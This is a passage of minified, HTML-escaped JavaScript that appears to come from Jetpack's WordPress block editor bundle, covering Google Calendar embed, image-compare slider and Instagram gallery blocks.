f=`https://www.goodreads.com/review/custom_widget/${r}.${s}?num_books=${t}&amp;order=${o}&amp;shelf=${a}&amp;show_author=${i?1:0}&amp;show_cover=${l?1:0}&amp;show_rating=${c?1:0}&amp;show_review=${u?1:0}&amp;show_tags=${d?1:0}&amp;show_title=${p?1:0}&amp;sort=${h}&amp;widget_id=${g}`;return&quot;grid&quot;===m&amp;&amp;(f=`https://www.goodreads.com/review/grid_widget/${r}.${s}?cover_size=medium&amp;num_books=${t}&amp;order=${o}&amp;shelf=${a}&amp;sort=${h}&amp;widget_id=${g}`),f}},43123(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__,_x=n._x,a=e=&gt;{const{className:t,embedValue:s,onChange:n,onSubmit:a}=e;return(0,o.jsx)(r.PanelBody,{title:__(&quot;Calendar settings&quot;,&quot;jetpack&quot;),initialOpen:!1,children:(0,o.jsxs)(&quot;form&quot;,{onSubmit:a,className:t,children:[(0,o.jsx)(&quot;textarea&quot;,{type:&quot;text&quot;,value:s,className:&quot;components-placeholder__input&quot;,&quot;aria-label&quot;:__(&quot;Google Calendar URL or iframe&quot;,&quot;jetpack&quot;),placeholder:__(&quot;Enter URL or iframe to embed here…&quot;,&quot;jetpack&quot;),onChange:n}),(0,o.jsx)(r.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:_x(&quot;Embed&quot;,&quot;button label&quot;,&quot;jetpack&quot;)})]})})}},70777(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b});var r=s(97999),n=s(85985),o=s(94715),a=s(74997),i=s(56427),l=s(29491),c=s(86087),u=s(27723),d=s(26873),p=s(76862),h=s(43123),m=s(23972),g=s(10790);const __=u.__,_x=u._x,f=(0,n.sh)(p);const b=(0,l.compose)(i.withNotices,(0,d.withViewportMatch)({isMobile:&quot;&lt; small&quot;}))(function(e){const{attributes:{url:t,height:s},isMobile:n,isSelected:l,name:u,noticeOperations:d,noticeUI:p,setAttributes:b}=e,v=(0,o.useBlockProps)(),[k,y]=(0,c.useState)(t||&quot;&quot;),[x,j]=(0,c.useState)(!1),[w,_]=(0,c.useState)(!1);(0,c.useEffect)(()=&gt;{!l&amp;&amp;w&amp;&amp;_(!1)},[l,w]);const C=()=&gt;{_(!0)},A=e=&gt;{e&amp;&amp;e.preventDefault();const t=(0,m.tW)(k.trim());if(!m._t.test(t.url))return d.removeAllNotices(),void d.createErrorNotice(__(&quot;Your calendar couldn&#039;t be embedded. Please double check your URL or Embed Code. Please note, you need to use the &#039;Public URL&#039; or &#039;Embed Code&#039;, the &#039;Shareable Link&#039; will not work.&quot;,&quot;jetpack&quot;));b(t),j(!1),d.removeAllNotices()},S=(0,a.getBlockDefaultClassName)(u),E=`&lt;iframe src=&quot;${t}&quot; style=&quot;border:0&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; height=&quot;${n?&quot;300&quot;:s}&quot;&gt;&lt;/iframe&gt;`,N=(0,g.jsx)(i.ExternalLink,{href:&quot;https://en.support.wordpress.com/google-calendar/&quot;,children:__(&quot;Enable Permissions for the calendar you want to share&quot;,&quot;jetpack&quot;)}),T=(0,g.jsx)(o.InspectorControls,{children:(0,g.jsx)(h.A,{className:`${S}-embed-form-sidebar`,embedValue:k,onChange:e=&gt;y(e.target.value),onSubmit:A})});let B;if(x||!t){const e=(0,r.isWpcomPlatformSite)()?&quot;https://en.support.wordpress.com/wordpress-editor/blocks/google-calendar/&quot;:&quot;https://jetpack.com/support/jetpack-blocks/google-calendar/&quot;;B=(0,g.jsxs)(g.Fragment,{children:[T,(0,g.jsxs)(i.Placeholder,{label:__(&quot;Google Calendar&quot;,&quot;jetpack&quot;),icon:f,notices:p,children:[(0,g.jsxs)(&quot;ol&quot;,{className:`${S}-placeholder-instructions`,children:[(0,g.jsx)(&quot;li&quot;,{children:N}),(0,g.jsx)(&quot;li&quot;,{children:__(&quot;Paste the embed code you copied from your Google Calendar below&quot;,&quot;jetpack&quot;)})]}),(P=`${S}-embed-form-editor`,(0,g.jsxs)(&quot;form&quot;,{onSubmit:A,className:P,children:[(0,g.jsx)(&quot;textarea&quot;,{type:&quot;text&quot;,value:k,className:&quot;components-placeholder__input&quot;,&quot;aria-label&quot;:__(&quot;Google Calendar URL or iframe&quot;,&quot;jetpack&quot;),placeholder:__(&quot;Enter URL or iframe to embed here…&quot;,&quot;jetpack&quot;),onChange:e=&gt;y(e.target.value)}),(0,g.jsx)(i.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:_x(&quot;Embed&quot;,&quot;button label&quot;,&quot;jetpack&quot;)})]})),(0,g.jsx)(&quot;div&quot;,{className:`${S}-placeholder-links`,children:(0,g.jsx)(i.ExternalLink,{href:e,children:__(&quot;Learn more&quot;,&quot;jetpack&quot;)})})]})]})}else B=(0,g.jsxs)(g.Fragment,{children:[T,(0,g.jsxs)(&quot;div&quot;,{children:[(0,g.jsx)(i.SandBox,{html:E,onFocus:C}),!w&amp;&amp;(0,g.jsx)(&quot;div&quot;,{className:&quot;block-library-embed__interactive-overlay&quot;,onMouseUp:C})]})]});var P;return(0,g.jsx)(&quot;div&quot;,{...v,children:B})})},29280(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(76862),a=s(70777),i=s(23636),l=s(23972);s(85637);(0,n.M)(o,{edit:a.A,save:i.A,transforms:{from:[{type:&quot;shortcode&quot;,tag:&quot;googleapps&quot;,isMatch:function(e){return&quot;calendar&quot;===e.named.domain},attributes:{url:{type:&quot;string&quot;,shortcode:({named:{domain:e,dir:t,query:s}})=&gt;`https://${e}.google.com/${t}?${s}`}}},{type:&quot;raw&quot;,isMatch:e=&gt;&quot;P&quot;===e.nodeName&amp;&amp;l._t.test(e.textContent),transform:e=&gt;(0,r.createBlock)(&quot;jetpack/google-calendar&quot;,{url:e.textContent.trim()})},{type:&quot;raw&quot;,isMatch:e=&gt;&quot;FIGURE&quot;===e.nodeName&amp;&amp;l.fF.test(e.innerHTML),transform:e=&gt;{const{url:t,height:s}=(0,l.HW)(e.innerHTML.trim());return(0,r.createBlock)(&quot;jetpack/google-calendar&quot;,{url:t,height:s})}}]}})},23636(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);const o=({attributes:{url:e}})=&gt;{const t=r.useBlockProps.save();return(0,n.jsx)(&quot;a&quot;,{...t,href:e,children:e})}},23972(e,t,s){&quot;use strict&quot;;s.d(t,{HW:()=&gt;c,_t:()=&gt;n,fF:()=&gt;o,tW:()=&gt;u});const r=&quot;https?://calendar\\.google\\.com/calendar&quot;,n=new RegExp(`^${r}`,&quot;i&quot;),o=new RegExp(`&lt;iframe((?:\\s+\\w+=([&#039;&quot;]).*?\\2)*)\\s+src=([&quot;&#039;])(${r}.*?)\\3((?:\\s+\\w+=([&#039;&quot;]).*?\\6)*)`,&quot;i&quot;),a=new RegExp(`${r}\\?cid=([-A-Za-z0-9+/]+={0,3})`,&quot;i&quot;),i=/\s+(\w+)=([&quot;&#039;])(.*?)\2/gi;function l(e){const t=a.exec(e);if(t)return&quot;https://calendar.google.com/calendar/embed?src=&quot;+encodeURIComponent(atob(t[1]))}function c(e){const t=o.exec(e);if(!t)return;const s={};return t.forEach((e,t)=&gt;{if(0===t)return;if(n.test(e))return void(s.url=e);let r;for(;null!==(r=i.exec(e));)s[r[1]]=r[3]}),{url:s.url,width:s.width,height:s.height}}function u(e){return o.test(e)?c(e):a.test(e)?{url:l(e)}:{url:e}}},71142(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__;function a({attributes:e,setAttributes:t}){const{orientation:s}=e;return(0,o.jsx)(r.PanelBody,{title:__(&quot;Orientation&quot;,&quot;jetpack&quot;),children:(0,o.jsx)(r.RadioControl,{selected:s||&quot;horizontal&quot;,options:[{label:__(&quot;Side by side&quot;,&quot;jetpack&quot;),value:&quot;horizontal&quot;},{label:__(&quot;Above and below&quot;,&quot;jetpack&quot;),value:&quot;vertical&quot;}],onChange:e=&gt;t({orientation:e})})})}},69516(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(94715),n=s(56427),o=s(29491),a=s(86087),i=s(27723),l=s(90256),c=s(71142),u=s(67155),d=s(1149),p=(s(4064),s(91505),s(10790));const __=i.__,h=({attributes:e,clientId:t,isSelected:s,setAttributes:i})=&gt;{const{align:h,imageBefore:m,imageAfter:g,caption:f,orientation:b}=e,v=(0,r.useBlockProps)(),k=(0,a.useRef)(void 0),[y,x]=(0,a.useState)(0),j=(0,o.useResizeObserver)(e=&gt;{const t=e[0]?.contentRect.width;t&amp;&amp;x(t)},{box:&quot;border-box&quot;});(0,d.A)(e=&gt;{e&gt;0&amp;&amp;&quot;undefined&quot;!=typeof juxtapose&amp;&amp;juxtapose.sliders&amp;&amp;juxtapose.sliders.forEach(s=&gt;{s.wrapper.id===t&amp;&amp;s.optimizeWrapper(e)})},200,y);const w=m&amp;&amp;m.url&amp;&amp;g&amp;&amp;g.url?&quot;image-compare__comparison juxtapose&quot;:&quot;image-compare__placeholder&quot;;return(0,a.useLayoutEffect)(()=&gt;{m.url&amp;&amp;g.url&amp;&amp;&quot;undefined&quot;!=typeof juxtapose&amp;&amp;k.current&amp;&amp;(j(k.current),juxtapose.makeSlider(k?.current))},[h,m,g,b,j]),(0,p.jsxs)(&quot;figure&quot;,{...v,children:[(0,p.jsx)(r.InspectorControls,{children:(0,p.jsx)(c.A,{attributes:e,setAttributes:i})},&quot;controls&quot;),(0,p.jsx)(&quot;div&quot;,{ref:k,id:t,className:w,&quot;data-mode&quot;:b||&quot;horizontal&quot;,children:(0,p.jsxs)(n.Placeholder,{label:null,children:[(0,p.jsx)(&quot;div&quot;,{className:&quot;image-compare__image-before&quot;,children:(0,p.jsx)(u.A,{image:{id:m.id,url:m.url,alt:m.alt},placeHolderLabel:__(&quot;Image before&quot;,&quot;jetpack&quot;),onChange:e=&gt;{if(&quot;image&quot;===e.media_type||&quot;image&quot;===e.type){const{src:t}=(0,l.A)(e),{alt:s,id:r,media_details:n}=e,o=n?.width??e.width,a=n?.height??e.height;i({imageBefore:{id:r,url:t||e.url,alt:s,width:o,height:a}})}}})}),(0,p.jsx)(&quot;div&quot;,{className:&quot;image-compare__image-after&quot;,children:(0,p.jsx)(u.A,{image:{id:g.id,url:g.url,alt:g.alt},placeHolderLabel:__(&quot;Image after&quot;,&quot;jetpack&quot;),onChange:e=&gt;{if(&quot;image&quot;===e.media_type||&quot;image&quot;===e.type){const{src:t}=(0,l.A)(e),{alt:s,id:r,media_details:n}=e,o=n?.width??e.width,a=n?.height??e.height;i({imageAfter:{id:r,url:t||e.url,alt:s,width:o,height:a}})}}})})]})}),(!r.RichText.isEmpty(f)||s&amp;&amp;m.url&amp;&amp;g.url)&amp;&amp;(0,p.jsx)(r.RichText,{tagName:&quot;figcaption&quot;,placeholder:__(&quot;Write caption&quot;,&quot;jetpack&quot;),value:f,onChange:e=&gt;i({caption:e}),inlineToolbar:!0})]})}},33129(e,t,s){&quot;use strict&quot;;var r=s(27723),n=s(94375),o=s(88285),a=s(69516),i=s(94739),l=s(93220),c=s(1729);const __=r.__;(0,n.M)(o,{edit:a.A,save:c.A,example:{attributes:{imageBefore:{id:1,url:l,alt:__(&quot;Before&quot;,&quot;jetpack&quot;)},imageAfter:{id:2,url:i,alt:__(&quot;After&quot;,&quot;jetpack&quot;)},caption:__(&quot;Example image&quot;,&quot;jetpack&quot;)}}})},67155(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(56427),o=s(29491),a=s(86087),i=s(10790);const l=(0,o.compose)([n.withNotices])(e=&gt;{const{image:t,noticeOperations:s,noticeUI:n,onChange:o,placeHolderLabel:l}=e,c=(0,i.jsx)(&quot;img&quot;,{id:t.id,src:t.url,alt:t.alt}),u=(0,i.jsx)(a.Fragment,{children:(0,i.jsx)(r.MediaPlaceholder,{labels:{title:l},accept:&quot;image/*&quot;,allowedTypes:[&quot;image&quot;],onSelect:o,onError:e=&gt;s.createErrorNotice(e),notices:n})});return t&amp;&amp;t.url?c:u})},1729(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);const o=({attributes:e})=&gt;{const t=r.useBlockProps.save(),{imageBefore:s,imageAfter:o,caption:a,orientation:i}=e;return(0,n.jsxs)(&quot;figure&quot;,{...t,children:[(0,n.jsxs)(&quot;div&quot;,{className:&quot;juxtapose&quot;,&quot;data-mode&quot;:i||&quot;horizontal&quot;,children:[(0,n.jsx)(&quot;img&quot;,{id:s.id,src:s.url,alt:s.alt,width:s.width,height:s.height,className:&quot;image-compare__image-before&quot;}),(0,n.jsx)(&quot;img&quot;,{id:o.id,src:o.url,alt:o.alt,width:o.width,height:o.height,className:&quot;image-compare__image-after&quot;})]}),!r.RichText.isEmpty(a)&amp;&amp;(0,n.jsx)(r.RichText.Content,{tagName:&quot;figcaption&quot;,value:a})]})}},1149(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(86087);const n=(e,t,s)=&gt;{(0,r.useEffect)(()=&gt;{const r=setTimeout(()=&gt;e(s),t);return()=&gt;clearTimeout(r)},[s,e,t])}},91505(e,t,s){&quot;use strict&quot;;var r=s(98490),n=s.n(r);s(59400);n()(function(){const e={sliders:[],OPTIMIZATION_ACCEPTED:1,OPTIMIZATION_WAS_CONSTRAINED:2};function t(e,t){const s=this;this.image=new Image,this.loaded=!1,this.image.onload=function(){s.loaded=!0,t._onLoaded()},this.image.src=e.src,this.image.alt=e.alt||&quot;&quot;,this.label=e.label||!1}function s(e,t){e&amp;&amp;e.classList.add(t)}function r(e,t){e&amp;&amp;e.classList.remove(t)}function n(e){return{width:parseInt(window.getComputedStyle(e).width,10),height:parseInt(window.getComputedStyle(e).height,10)}}function o(e,t){let s;if(&quot;string&quot;==typeof t||&quot;number&quot;==typeof t)s=parseInt(t,10);else{const r=e.getBoundingClientRect(),n={top:r.top+document.body.scrollTop+document.documentElement.scrollTop,left:r.left+document.body.scrollLeft+document.documentElement.scrollLeft},o=e.offsetWidth;s=(function(e){let t;return t=e.pageX?e.pageX:e.touches?e.touches[0].pageX:e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft,t}(t)-n.left)/o*100}return s}function a(e,t,s){let r;if(&quot;string&quot;==typeof t||&quot;number&quot;==typeof t)r=parseInt(t,10);else{const n=e.getBoundingClientRect(),o={top:n.top+s.body.scrollTop+s.documentElement.scrollTop,left:n.left+s.body.scrollLeft+s.documentElement.scrollLeft},a=e.offsetHeight;r=(function(e){let t;return t=e.pageY?e.pageY:e.touches?e.touches[0].pageY:e.clientY+document.body.scrollTop+document.documentElement.scrollTop,t}(t)-o.top)/a*100}return r}const i={animate:!0,showLabels:!0,makeResponsive:!0};function l(e){return&quot;string&quot;!=typeof e?Boolean(e):!(&quot;false&quot;===e||&quot;&quot;===e)}function c(e,s,r){let n;for(n in this.element=e,this.options={animate:!0,showLabels:!0,makeResponsive:!0,startingPosition:&quot;50%&quot;,mode:&quot;horizontal&quot;,callback:null},this.options)n in r&amp;&amp;(this.options[n]=n in i?l(r[n]):r[n]);2===s.length&amp;&amp;(this.imgBefore=new t(s[0],this),this.imgAfter=new t(s[1],this))}c.prototype={updateSlider:function(e,t){let n;n=&quot;vertical&quot;===this.options.mode?a(this.slider,e,this.sliderParentDocument):o(this.slider,e),n=n.toFixed(2)+&quot;%&quot;;const i=parseFloat(n),l=100-i+&quot;%&quot;;i&gt;0&amp;&amp;i&lt;100&amp;&amp;(r(this.handle,&quot;transition&quot;),r(this.rightImage,&quot;transition&quot;),r(this.leftImage,&quot;transition&quot;),this.options.animate&amp;&amp;t&amp;&amp;(s(this.handle,&quot;transition&quot;),s(this.leftImage,&quot;transition&quot;),s(this.rightImage,&quot;transition&quot;)),&quot;vertical&quot;===this.options.mode?(this.handle.style.top=n,this.leftImage.style.height=n,this.rightImage.style.height=l):(this.handle.style.left=n,this.leftImage.style.width=n,this.rightImage.style.width=l),this.sliderPosition=n)},getPosition:function(){return this.sliderPosition},displayLabel:function(e,t){const s=document.createElement(&quot;div&quot;);s.className=&quot;jx-label&quot;,s.setAttribute(&quot;tabindex&quot;,0),function(e,t){document.body.textContent?e.textContent=t:e.innerText=t}(s,t),e.appendChild(s)},setStartingPosition:function(e){this.options.startingPosition=e},calculateDims:function(e,t){const s=(r=this.imgBefore.image,{width:r.naturalWidth,height:r.naturalHeight,aspect:function(){return this.width/this.height}}).aspect();var r;return e?t=e/s:t&amp;&amp;(e=t*s),{width:e,height:t,ratio:s}},responsivizeIframe:function(e){return e.height&lt;window.innerHeight?e.ratio&gt;=1&amp;&amp;(this.wrapper.style.paddingTop=parseInt((window.innerHeight-e.height)/2)+&quot;px&quot;):e.height&gt;window.innerHeight&amp;&amp;(e=this.calculateDims(0,window.innerHeight),this.wrapper.style.paddingLeft=parseInt((window.innerWidth-e.width)/2)+&quot;px&quot;),e},setWrapperDimensions:function(){const e=n(this.wrapper.parentNode).width,t=n(this.wrapper.parentNode).height;let s=this.calculateDims(e,t);window.location===window.parent.location||this.options.makeResponsive||(s=this.responsivizeIframe(s)),this.wrapper.style.height=parseInt(s.height)+&quot;px&quot;,this.wrapper.style.width=parseInt(s.width)+&quot;px&quot;},optimizeWrapper:function(t){let s=e.OPTIMIZATION_ACCEPTED;return this.imgBefore.image.naturalWidth&gt;=t&amp;&amp;this.imgAfter.image.naturalWidth&gt;=t?(this.wrapper.style.width=t+&quot;px&quot;,s=e.OPTIMIZATION_WAS_CONSTRAINED):this.imgAfter.image.naturalWidth&lt;t?this.wrapper.style.width=this.imgAfter.image.naturalWidth+&quot;px&quot;:this.wrapper.style.width=this.imgBefore.image.naturalWidth+&quot;px&quot;,this.setWrapperDimensions(),s},_onLoaded:function(){if(this.imgBefore&amp;&amp;!0===this.imgBefore.loaded&amp;&amp;this.imgAfter&amp;&amp;!0===this.imgAfter.loaded){if(this.wrapper=this.element,!this.wrapper||this.wrapper.querySelector(&quot;.jx-slider&quot;))return;s(this.wrapper,&quot;juxtapose&quot;),this.wrapper.style.width=this.imgBefore.image.naturalWidth,this.setWrapperDimensions(),this.slider=document.createElement(&quot;div&quot;),this.slider.className=&quot;jx-slider&quot;,this.wrapper.appendChild(this.slider),this.sliderParentDocument=this.wrapper.ownerDocument,&quot;horizontal&quot;!==this.options.mode&amp;&amp;s(this.slider,this.options.mode),this.handle=document.createElement(&quot;div&quot;),this.handle.className=&quot;jx-handle&quot;,this.rightImage=document.createElement(&quot;div&quot;),this.rightImage.className=&quot;jx-image jx-right&quot;,this.rightImage.appendChild(this.imgAfter.image),this.leftImage=document.createElement(&quot;div&quot;),this.leftImage.className=&quot;jx-image jx-left&quot;,this.leftImage.appendChild(this.imgBefore.image),this.slider.appendChild(this.handle),this.slider.appendChild(this.leftImage),this.slider.appendChild(this.rightImage),this.leftArrow=document.createElement(&quot;div&quot;),this.rightArrow=document.createElement(&quot;div&quot;),this.control=document.createElement(&quot;div&quot;),this.controller=document.createElement(&quot;div&quot;),this.leftArrow.className=&quot;jx-arrow jx-left&quot;,this.rightArrow.className=&quot;jx-arrow jx-right&quot;,this.control.className=&quot;jx-control&quot;,this.controller.className=&quot;jx-controller&quot;,this.controller.setAttribute(&quot;tabindex&quot;,0),this.controller.setAttribute(&quot;role&quot;,&quot;slider&quot;),this.controller.setAttribute(&quot;aria-valuenow&quot;,50),this.controller.setAttribute(&quot;aria-valuemin&quot;,0),this.controller.setAttribute(&quot;aria-valuemax&quot;,100),this.controller.setAttribute(&quot;aria-label&quot;,window.imageCompareHandle?.msg||&quot;Slide to compare images&quot;),this.handle.appendChild(this.leftArrow),this.handle.appendChild(this.control),this.handle.appendChild(this.rightArrow),this.control.appendChild(this.controller),this._init()}},_init:function(){this.updateSlider(this.options.startingPosition,!1),!0===this.options.showLabels&amp;&amp;(this.imgBefore.label&amp;&amp;this.displayLabel(this.leftImage,this.imgBefore.label),this.imgAfter.label&amp;&amp;this.displayLabel(this.rightImage,this.imgAfter.label));const t=this;window.addEventListener(&quot;resize&quot;,function(){t.setWrapperDimensions()}),this.slider.addEventListener(&quot;mousedown&quot;,function(e){e.preventDefault(),t.updateSlider(e,!0);let s=!0;this.addEventListener(&quot;mousemove&quot;,function(e){e.preventDefault(),s&amp;&amp;t.updateSlider(e,!1)}),this.addEventListener(&quot;mouseup&quot;,function(e){e.preventDefault(),e.stopPropagation(),s=!1})}),this.slider.addEventListener(&quot;touchstart&quot;,function(e){e.preventDefault(),e.stopPropagation(),t.updateSlider(e,!0),this.addEventListener(&quot;touchmove&quot;,function(e){e.preventDefault(),e.stopPropagation(),t.updateSlider(e,!1)})}),this.handle.addEventListener(&quot;keydown&quot;,function(e){const s=e.which||e.keyCode;let r=parseFloat(this.style.left);if(37===s){r-=1;const e=parseFloat(this.style.left)-1;t.updateSlider(e,!1),t.controller.setAttribute(&quot;aria-valuenow&quot;,r)}if(39===s){r+=1;const e=parseFloat(this.style.left)+1;t.updateSlider(e,!1),t.controller.setAttribute(&quot;aria-valuenow&quot;,r)}}),this.leftImage.addEventListener(&quot;keydown&quot;,function(e){const s=e.which||e.keyCode;13!==s&amp;&amp;32!==s||(t.updateSlider(&quot;90%&quot;,!0),t.controller.setAttribute(&quot;aria-valuenow&quot;,91))}),this.rightImage.addEventListener(&quot;keydown&quot;,function(e){const s=e.which||e.keyCode;13!==s&amp;&amp;32!==s||(t.updateSlider(&quot;10%&quot;,!0),t.controller.setAttribute(&quot;aria-valuenow&quot;,10))}),e.sliders.push(this),this.options.callback&amp;&amp;&quot;function&quot;==typeof this.options.callback&amp;&amp;this.options.callback(this)}},e.makeSlider=function(t,r){void 0===r&amp;&amp;(r=e.sliders.length);const n=t,o=n.querySelectorAll(&quot;img&quot;);if(o.length&lt;2)return;const a={};n.getAttribute(&quot;data-animate&quot;)&amp;&amp;(a.animate=n.getAttribute(&quot;data-animate&quot;)),n.getAttribute(&quot;data-showlabels&quot;)&amp;&amp;(a.showLabels=n.getAttribute(&quot;data-showlabels&quot;)),n.getAttribute(&quot;data-startingposition&quot;)&amp;&amp;(a.startingPosition=n.getAttribute(&quot;data-startingposition&quot;)),n.getAttribute(&quot;data-mode&quot;)&amp;&amp;(a.mode=n.getAttribute(&quot;data-mode&quot;)),n.getAttribute(&quot;data-makeresponsive&quot;)&amp;&amp;(a.mode=n.getAttribute(&quot;data-makeresponsive&quot;));return s(t,&quot;juxtapose-&quot;+r),n.innerHTML?n.innerHTML=&quot;&quot;:n.innerText=&quot;&quot;,new e.JXSlider(t,[{src:o[0].src,label:o[0].getAttribute(&quot;data-label&quot;),alt:o[0].alt},{src:o[1].src,label:o[1].getAttribute(&quot;data-label&quot;),alt:o[1].alt}],a)},e.scanPage=function(){const t=document.querySelectorAll(&quot;.juxtapose&quot;);for(let s=0;s&lt;t.length;s++)e.makeSlider(t[s],s)},e.JXSlider=c,window.juxtapose=e,e.scanPage()})},80427(e,t,s){&quot;use strict&quot;;s.d(t,{B:()=&gt;n,V:()=&gt;r});const r=30,n=&quot;jetpack-new-instagram-connection&quot;},57926(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(56427),n=s(27723),o=s(80427),a=s(10790);const __=n.__,_n=n._n;function i({accountImageTotal:e,attributes:t,currentUserConnected:s,disconnectFromService:i,shouldRenderSidebarNotice:l,setAttributes:c}){const{accessToken:u,columns:d,count:p,instagramUser:h,isStackedOnMobile:m,spacing:g}=t;return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsxs)(r.PanelBody,{title:__(&quot;Account Settings&quot;,&quot;jetpack&quot;),children:[(0,a.jsxs)(r.PanelRow,{children:[(0,a.jsx)(&quot;span&quot;,{children:__(&quot;Account&quot;,&quot;jetpack&quot;)}),(0,a.jsxs)(r.ExternalLink,{href:`https://www.instagram.com/${h}/`,children:[&quot;@&quot;,h]})]}),s&amp;&amp;(0,a.jsx)(r.PanelRow,{children:(0,a.jsx)(r.Button,{isDestructive:!0,variant:&quot;link&quot;,onClick:()=&gt;i(u),children:__(&quot;Disconnect your account&quot;,&quot;jetpack&quot;)})})]}),(0,a.jsxs)(r.PanelBody,{title:__(&quot;Display Settings&quot;,&quot;jetpack&quot;),children:[l?(()=&gt;{const t=e?(0,n.sprintf)(/* translators: %s: the number of posts. */
_n(&quot;There is currently only %s post in your Instagram account.&quot;,&quot;There are currently only %s posts in your Instagram account.&quot;,e,&quot;jetpack&quot;),e):__(&quot;There are currently no posts in your Instagram account.&quot;,&quot;jetpack&quot;);return(0,a.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-instagram-gallery__count-notice&quot;,children:(0,a.jsx)(r.Notice,{isDismissible:!1,status:&quot;info&quot;,children:t})})})():null,(0,a.jsx)(r.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Number of Posts&quot;,&quot;jetpack&quot;),value:p,onChange:e=&gt;c({count:e}),min:1,max:o.V}),(0,a.jsx)(r.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Number of Columns&quot;,&quot;jetpack&quot;),value:d,onChange:e=&gt;c({columns:e}),min:1,max:6}),(0,a.jsx)(r.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Image Spacing (px)&quot;,&quot;jetpack&quot;),value:g,onChange:e=&gt;c({spacing:e}),min:0,max:50}),(0,a.jsx)(r.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Stack on mobile&quot;,&quot;jetpack&quot;),checked:m,onChange:()=&gt;c({isStackedOnMobile:!m})})]})]})}},11148(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;k});var r=s(85985),n=s(94715),o=s(56427),a=s(86087),i=s(27723),l=s(13022),c=s(66087),u=s(78218),d=s(89525),p=s(80427),h=s(57926),m=s(86975),g=s(49783),f=s(53495),b=s(80619),v=(s(61824),s(10790));const __=i.__,k=(0,o.withNotices)(e=&gt;{const t=(0,n.useBlockProps)(),{attributes:s,isSelected:i,noticeOperations:k,noticeUI:y,setAttributes:x}=e,{accessToken:j,align:w,columns:_,count:C,isStackedOnMobile:A,spacing:S}=s;(0,a.useEffect)(()=&gt;{const e=(0,u.y)(d.attributes,s);(0,c.isEqual)(e,s)||x(e)},[s,x]);const[E,N]=(0,a.useState)(j),{isRequestingWpcomConnectUrl:T,wpcomConnectUrl:B}=(0,f.A)(),{images:P,isLoadingGallery:I,setImages:M}=(0,b.A)({accessToken:j,noticeOperations:k,setAttributes:x,setSelectedAccount:N}),{connectToService:L,disconnectFromService:R,isConnecting:D,isRequestingUserConnections:F,userConnections:O}=(0,g.A)({accessToken:j,noticeOperations:k,selectedAccount:E,setAttributes:x,setImages:M,setSelectedAccount:N}),z=(0,r.gB)(),U=C&gt;P.length?P.length:C,H=!I&amp;&amp;(!j||(0,c.isEmpty)(P)),q=!H,V=j&amp;&amp;I&amp;&amp;(0,c.isEmpty)(P),$=!H&amp;&amp;!V,G=(0,l.A)(t.className,{[`align${w}`]:w}),W=(0,l.A)(&quot;wp-block-jetpack-instagram-gallery__grid&quot;,`wp-block-jetpack-instagram-gallery__grid-columns-${_}`,{&quot;is-stacked-on-mobile&quot;:A}),Z={gridGap:S,&quot;--latest-instagram-posts-spacing&quot;:S?`${S}px`:void 0},J={padding:S},K=e=&gt;{if(P[e]){const t=P[e];return(0,v.jsx)(m.A,{alt:t.title||t.url,src:t.url,attributes:s,spacing:S})}return(0,v.jsx)(&quot;img&quot;,{alt:__(&quot;Latest Instagram Posts placeholder&quot;,&quot;jetpack&quot;),src:&quot;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNMyc2tBwAEOgG/c94mJwAAAABJRU5ErkJggg==&quot;})},Y=()=&gt;{E&amp;&amp;p.B!==E?x({accessToken:E,instagramUser:O.find(e=&gt;e.token===E).username}):L()};return(0,v.jsxs)(&quot;div&quot;,{...t,className:G,children:[H&amp;&amp;(0,v.jsx)(o.Placeholder,{icon:&quot;instagram&quot;,instructions:z?F||O.length?void 0:__(&quot;Connect to Instagram to start sharing your images.&quot;,&quot;jetpack&quot;):__(&quot;First, you&#039;ll need to connect your WordPress.com account.&quot;,&quot;jetpack&quot;),label:__(&quot;Latest Instagram Posts&quot;,&quot;jetpack&quot;),notices:y,children:z?(()=&gt;{const e=O.length&gt;0,t=[...O.map(e=&gt;({label:`@${e.username}`,value:e.token})),{label:__(&quot;Add a new account&quot;,&quot;jetpack&quot;),value:p.B}],s=D||F||e&amp;&amp;!E;return(0,v.jsxs)(&quot;div&quot;,{children:[e&amp;&amp;(0,v.jsx)(o.RadioControl,{label:__(&quot;Select your Instagram account:&quot;,&quot;jetpack&quot;),onChange:e=&gt;N(e),options:t,selected:E}),p.B===E&amp;&amp;(0,v.jsx)(&quot;p&quot;,{className:&quot;wp-block-jetpack-instagram-gallery__new-account-instructions&quot;,children:__(&quot;If you are currently logged in to Instagram on this device, you might need to log out of it first.&quot;,&quot;jetpack&quot;)}),(0,v.jsxs)(o.Button,{disabled:s,variant:&quot;primary&quot;,onClick:Y,children:[D&amp;&amp;__(&quot;Connecting…&quot;,&quot;jetpack&quot;),F&amp;&amp;__(&quot;Loading your connections…&quot;,&quot;jetpack&quot;),!D&amp;&amp;!F&amp;&amp;__(&quot;Connect to Instagram&quot;,&quot;jetpack&quot;)]})]})})():(0,v.jsx)(o.Button,{disabled:T||!B,href:B,variant:&quot;secondary&quot;,children:__(&quot;Connect to 